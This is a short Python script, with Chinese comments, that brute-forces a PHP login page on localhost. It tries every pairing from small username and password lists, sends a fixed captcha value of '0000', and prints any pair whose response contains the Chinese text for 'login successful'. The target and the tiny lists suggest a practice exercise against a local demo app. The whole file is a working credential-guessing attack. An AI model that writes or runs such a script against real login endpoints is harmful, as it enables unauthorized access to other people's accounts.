
import requests

# 定义请求的URL
url='http://localhost/articles-demo1-php/php/login.php'

# 定义请求参数
datas = {
    "username": "1",
    "passwd": "1",
    "captcha":"0000"
}

userlist = ["shzhng","jsh","ksj","admin"]
passwdlist = ["112112","3322322","abdase","admin"]

for username in userlist:
    for passwd in passwdlist:
        datas["username"] = username
        datas["passwd"] = passwd
        datas["captcha"] = "0000"
        response = requests.post(url, data=datas)

        # 检查响应
        if "登录成功" in response.text:
            print(datas["username"])
            print(datas["passwd"])

